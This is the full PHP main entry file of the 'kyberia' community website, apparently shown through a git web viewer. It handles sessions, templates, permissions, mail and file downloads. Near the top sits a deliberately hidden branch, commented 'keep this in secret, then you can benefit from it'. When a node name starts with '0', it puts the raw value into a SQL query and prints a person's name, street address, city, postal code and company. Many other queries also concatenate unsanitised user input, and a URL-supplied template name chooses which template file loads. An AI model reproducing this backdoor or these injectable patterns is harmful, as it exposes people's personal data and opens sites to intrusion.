2 /* This program is free software. It comes without any warranty, to
3 * the extent permitted by applicable law. You can redistribute it
4 * and/or modify it under the terms of the Do What The Fuck You Want
5 * To Public License, Version 2, as published by Sam Hocevar. See
6 * http://sam.zoy.org/wtfpl/COPYING for more details. */
8 //die("kyberia maintenance<br>please be patient<br>thanks<br>stab");
11 //starting timer for benchmarking purposes
12 $timer_start=Time()+
SubStr(MicroTime(),0,8);
14 //setting PHPSESSID cookie and starting user session
17 $devel_ids = array(548);
19 if (array_search($_SESSION['user_id'], $devel_ids)) {
21 error_reporting(E_ALL
);
29 //requiring main config file with path/database etc. constants
30 require('config/config.inc');
32 //getting referer id for synaptic connection
33 preg_match("/id\/(.*)\//",$_SERVER['HTTP_REFERER'],$ref_match);
34 $referer_id=$ref_match[1];
36 //connecting to database and creating universal $db object
37 require(SYSTEM_ROOT
.'inc/log.inc');
38 require(SYSTEM_ROOT
.'inc/ubik.inc');
39 require(SYSTEM_ROOT
.'inc/nodes.inc');
40 require(SYSTEM_ROOT
.'inc/error_messages.inc');
41 require(SYSTEM_ROOT
.'inc/database.inc');
43 $db=new CLASS_DATABASE();
45 //loading smarty template engine and setting main parameters
46 require(SMARTY_DIR
.'Smarty.class.php');
49 $smarty->template_dir
= TEMPLATE_DIR
.TEMPLATE_SET
;
50 $smarty->compile_dir
= SYSTEM_ROOT
."/data/templates_c/".TEMPLATE_SET
;
51 $smarty->config_dir
= SMARTY_DIR
.'/configs/';
52 $smarty->cache_dir
= SMARTY_DIR
.'/cache/';
53 $smarty->plugins_dir
= SMARTY_DIR
.'/node_methodz/';
55 if (array_search($_SESSION['user_id'], $devel_ids))
56 $smarty->debugging
=true;
58 //initializing variables
59 if (empty($_POST['event']))
62 $event=$_POST['event'];
64 if (empty($_POST['transaction']))
67 $event=$_POST['transaction'];
69 //initializing node methods
70 if (!empty($_GET['node_name'])) {
71 //omfg what's this! jail , jail, penalty of death!
72 // reopened by [CENSORED], keep this in secret, then you can benefit from it..
73 if(strpos($_GET['node_name'],'0')===0) {
74 $numbah=$_GET['node_name'];
75 $db->query("set character_set_connection=latin2");
76 $set=$db->query("select * from tz.gts where full_number='$numbah'");
78 echo $set->getString('full_name')."<br>";
79 echo $set->getString('full_street')."<br>";
80 echo $set->getString('city')."<br>";
81 echo $set->getString('psc')."<br>";
82 echo $set->getString('company')."<br>";
87 else nodes
::redirByName($_GET['node_name']);
89 nodes
::redirByName($_GET['node_name']);
92 elseif (!empty($_GET['node_id'])) {
93 $node = nodes
::getNodeById($_GET['node_id'],$_SESSION['user_id']);
96 if ($node['node_creator']==$_SESSION['user_id']) $node['node_permission']='owner';
98 if ($_SESSION['cube_vector']) {
99 if (strpos($node['node_vector'],$_SESSION['cube_vector'])===false) {
100 echo "node::".$node['node_vector'];
101 echo "cube_Vector::".$_SESSION['cube_vector'];
102 echo "you are out of allowed cwbe. access forbidden";
107 //if not existent node show our own 404
109 $nodes= nodes
::getNodesByName($_GET['node_name']);
111 $smarty->assign('nodes',$nodes);
112 $content=$smarty->display("404.tpl");
115 elseif ($_SESSION['user_id']) {
116 $smarty->assign('node_name',$_GET['node_name']);
117 $content=$smarty->display("modules/addnode.tpl");
123 //modifying node glass pearl
124 if (is_array($children_types[$node['node_type']]))
125 $smarty->assign('children_types',$children_types[$node['node_type']]);
127 $smarty->assign('types',$types);
130 $node['node_type']=$types[$node['node_type']];
131 $node['node_content']=StripSlashes($node['node_content']);
132 $node['node_name']=StripSlashes($node['node_name']);
134 //checking permissions
135 require(SYSTEM_ROOT
.'inc/permissions.inc');
136 $permissions=permissions
::checkPermissions($node);
137 $permissions['h']=permissions
::isHierarch($node);
143 if (($permissions['r']) ||
($event != 'register')) {
145 //performing node_events (based on update/insert/delete db queries)
147 require(SYSTEM_ROOT
.'inc/eventz.inc');
150 elseif ($transaction) {
151 require(SYSTEM_ROOT
.'inc/transaction.inc');
153 //end of performing node events
159 if ($permissions['r']) {
160 log
::log('enter',$node['node_id'],'ok',$node['node_user_subchild_count']);
161 if (!empty($_SESSION['user_id']) && is_numeric($node['node_id'])) {
162 $q="update node_access set visits=visits+1,node_user_subchild_count='0',last_visit=NOW() where node_id='".$node['node_id']."' and user_id='".$_SESSION['user_id']."'";
164 $result=$db->update($q);
167 $q="insert into node_access set user_id='".$_SESSION['user_id']."',node_id='".$node['node_id']."',last_visit=NOW()";
173 //creating neural network
174 $db->update("update nodes set node_views=node_views+1 where node_id='".$node['node_id']."'");
175 if (is_numeric($referer_id)) {
176 $q="update neurons set synapse=synapse+1 where dst='".$node['node_id']."' and src='$referer_id'";
177 $result=$db->update($q);
179 $q="insert into neurons set synapse_creator='".$_SESSION['user_id']."',dst='".$node['node_id']."',src='$referer_id',synapse=1";
188 elseif (!$permissions['r'] && $_GET['magic_word']) {
189 $magic_word_big=$_GET['magic_word'];
191 if ( preg_match("/(\d+)-(.+)/",$_GET['magic_word'],$mu)) {
193 $magic_word=addslashes($mu['2']);
194 $q="select login from users where user_id='$magic_uid' and magic_word='$magic_word'";
196 if ($set->getNumRows()) {
197 $permissions['r']=true;
207 log
::log('enter',$node['node_id'],'failed');
212 //assigning user data to smarty if user logged in
213 if ($user_id=$_SESSION['user_id']) {
214 $smarty->assign('bookmarks',$_SESSION['bookmarks']);
215 $smarty->assign('user_id',$_SESSION['user_id']);
216 if (!empty($_SESSION['cube_vector'])) $smarty->assign('cube_vector',$_SESSION['cube_vector']);
217 $smarty->assign('user_quota',$_SESSION['user_quota']);
218 $newmailset=$db->query("select user_mail,user_mail_name,user_k from users where user_id='$user_id'");
220 $new_mail=$newmailset->getString('user_mail');
221 $smarty->assign('new_mail',$new_mail);
222 $smarty->assign('new_mail_name',$newmailset->getString('user_mail_name'));
223 $user_k=$newmailset->getString('user_k');
224 $smarty->assign('user_k',$user_k);
225 $user_id=$_SESSION['user_id'];
228 if ($node['node_name']=='mail') {
230 //clear new mail message
231 if ($new_mail) $db->query("update users set user_mail=0 where user_id='$user_id'");
233 //set messages as delivered to recipient
234 $set=$db->query("select mail_id,mail_duplicate_id from mail where mail_user='$user_id' and mail_to='$user_id' and mail_read='no'");
235 while($set->next()) {
236 $db->query("update mail set mail_read='yes' where mail_id='".$set->getString('mail_duplicate_id')."'");
237 $db->query("update mail set mail_read='yes' where mail_id='".$set->getString('mail_id')."'");
239 $new_messages[$set->getString('mail_id')]=true;
242 if (count($new_messages)) {
243 $db->query("update mail set mail_read='yes' where mail_user='$user_id' and mail_user=mail_to and mail_read='no'");
244 $smarty->assign('new_messages',$new_messages);
253 if ($node['node_system_access']=='crypto') {
254 $smarty->assign('crypto_pass',$_SESSION['crypto'][$node['node_id']]);
258 Header("Cache-control: no-cache");
259 Header("Expires:".gmdate("D, d M Y H:i:s")." GMT");
260 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
262 //assigning node data to smarty
263 $smarty->assign('error',$error);
264 $smarty->assign('permissions',$permissions);
265 $smarty->assign('current_vector',$node['node_vector']);
266 if ($permissions['r']) $smarty->assign('node',$node);
269 $smarty->assign('node',$node);
270 $smarty->display('modules/header.tpl');
271 $smarty->display('modules/loginbox.tpl');
275 //setting user location
276 $q="update users set last_action=NOW(),user_location_vector='".$node['node_vector']."',user_action='".addslashes($node['node_name'])."',user_action_id='".$node['node_id']."' where user_id='".$_SESSION['user_id']."'";
277 $db->executequery($q);
279 $whole_time=SubStr((Time()+
SubStr(MicroTime(),0,8)-$timer_start),0,7);
280 $smarty->assign('whole_time',$whole_time);
282 if (!empty($_GET['template_id'])) {
283 $template_id=$_GET['template_id'];
285 else $template_id=false;
287 if ($template_id=='download') {
288 if ($permissions['r']) {
289 $linkname = SYSTEM_ROOT
."/files/".$node['node_id'];
290 $filename= readlink($linkname);
291 $suffix=preg_replace("/(.*?)\.(.*?)/i","$2",$filename);
293 $ext = substr( $filename,-3 );
294 if( $filename == "" ) {
295 echo "ERROR: Empty file to download. ";
297 } elseif ( ! file_exists( $filename ) ) {
301 case "pdf": $ctype="application/pdf"; break;
302 case "exe": $ctype="application/octet-stream"; break;
303 case "zip": $ctype="application/zip"; break;
304 case "doc": $ctype="application/msword"; break;
305 case "xls": $ctype="application/vnd.ms-excel"; break;
306 case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
307 case "gif": $ctype="image/gif"; break;
308 case "png": $ctype="image/png"; break;
309 case "jpg": $ctype="image/jpg"; break;
310 default: $ctype="application/force-download";
312 header("Pragma: public");
313 header("Expires: 0");
314 header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
315 header("Content-Type: $ctype");
316 $user_agent = strtolower ($_SERVER["HTTP_USER_AGENT"]);
317 $file=str_replace(" ","_",$node['node_name']).".$ext";
318 if ((is_integer (strpos($user_agent, "msie"))) && (is_integer
319 (strpos($user_agent, "win")))) {
320 header( "Content-Disposition: filename=$file;" );
322 header( "Content-Disposition: attachment;
325 header("Content-Transfer-Encoding: binary");
326 header("Content-Length: ".filesize($filename));
327 readfile("$filename");
330 else { echo "you don't have permissions for downloading this data"; die(); }
333 $smarty->assign('action',$template_id);
335 //for cases like search & preview
336 $smarty->assign('post_vars',$_POST);
337 if (!empty($_POST['template_event'])) {
338 $smarty->assign('template_event',$_POST['template_event']);
342 //setting listing parameters
343 $children_count=$node['node_children_count'];
344 $descendant_count=$node['node_descendant_count'];
346 if (is_numeric($_POST['listing_amount'])) $listing_amount=$_POST['listing_amount'];
347 elseif (!empty($_SESSION['listing_amount'])) $listing_amount=$_SESSION['listing_amount'];
348 else $listing_amount=DEFAULT_LISTING_AMOUNT
;
349 $smarty->assign('listing_amount',$listing_amount);
351 if ($_POST['listing_order']) $listing_order=$_POST['listing_order'];
352 elseif (!empty($_SESSION['listing_order'])) $listing_order=$_SESSION['listing_order'];
353 else $listing_order=DEFAULT_LISTING_ORDER
;
354 $smarty->assign('listing_order',$listing_order);
356 if (is_numeric($_POST['get_children_offset'])) $offset=$_POST['get_children_offset'];
360 //movement forward and backward
361 // if ($listing_order=='asc' && !$offset) $offset=$descendant_count-$listing_amount;
363 if ($_POST['get_children_move']=='<') {
364 $offset=$offset-$listing_amount;
365 if ($offset<0) $offset=0;
367 elseif ($_POST['get_children_move']=='>') {
368 $offset=$offset+
$listing_amount;
370 elseif ($_POST['get_children_move']=='>>') {
371 $offset=$descendant_count-$listing_amount;
374 elseif ($_POST['get_children_move']=='<<') {
377 if ($offset<0) $offset=0;
378 $smarty->assign('offset',$offset);
382 if ($_SESSION['header_id']==true) {
383 $smarty->assign('header_id',$_SESSION['header_id']);
384 $smarty->template_dir
=OWN_TEMPLATE_DIR
;
385 $content=$smarty->fetch($_SESSION['header_id'].".tpl");
386 $smarty->template_dir
= TEMPLATE_DIR
.TEMPLATE_SET
;
389 //setting which template to use and displaying
391 if ($node['$template_id']) {
392 if (!empty($template_id)) {
393 if (is_numeric($template_id)) {
394 $smarty->template_dir=OWN_TEMPLATE_DIR;
395 $content.=$smarty->fetch($node['$template_id'].".tpl");
398 elseif (strrpos($template_id,";")) {
399 $smarty->template_dir=OWN_TEMPLATE_DIR;
400 $content.=$smarty->fetch($node['$template_id'].".tpl");
403 $content.=$smarty->fetch($template_id.".tpl");
407 $smarty->template_dir=OWN_TEMPLATE_DIR;
408 $content.=$smarty->fetch($node['$template_id'].".tpl");
413 if ($node['node_type']==$types[$node['node_id']]) {
414 if (is_numeric($template_id)) {
415 require(SYSTEM_ROOT.'/inc/actions.inc');
416 $content.=$smarty->fetch($node['node_type'].".tpl");
418 elseif (strrpos($template_id,";")) {
419 $content.=$smarty->fetch($node['node_type'].".tpl");
421 elseif (empty($template_id)) {
422 $smarty->template_dir=OWN_TEMPLATE_DIR;
423 $content=$smarty->fetch($node['template_id'].".tpl");
427 $content.=$smarty->fetch($template_id.".tpl");
433 if (is_numeric($template_id) or strpos(";",$template_id)) {
434 require(SYSTEM_ROOT.'/inc/actions.inc');
435 $content.=$smarty->fetch($node['node_type'].".tpl");
437 elseif (empty($template_id)) {
438 $content.=$smarty->fetch($node['node_type'].".tpl");
441 $content.=$smarty->fetch($template_id.".tpl");
448 $smarty->template_dir
=OWN_TEMPLATE_DIR
;
449 if (is_numeric($template_id)) {
450 $content.=$smarty->fetch($template_id.".tpl");
454 $content.=$smarty->fetch($node['template_id'].".tpl");
457 $time=SubStr((Time()+
SubStr(MicroTime(),0,8)-$timer_start),0,7);
459 echo "<center>page generation took: $time second</center>";
461 $query = "insert delayed into load_times values (now(), '$time')";
462 //$db->executequery($query);
466 // dake vypisi pre kybu
467 if ($_SESSION['user_id'] == 342) {
This page took 0.629322 seconds and 5 git commands to generate.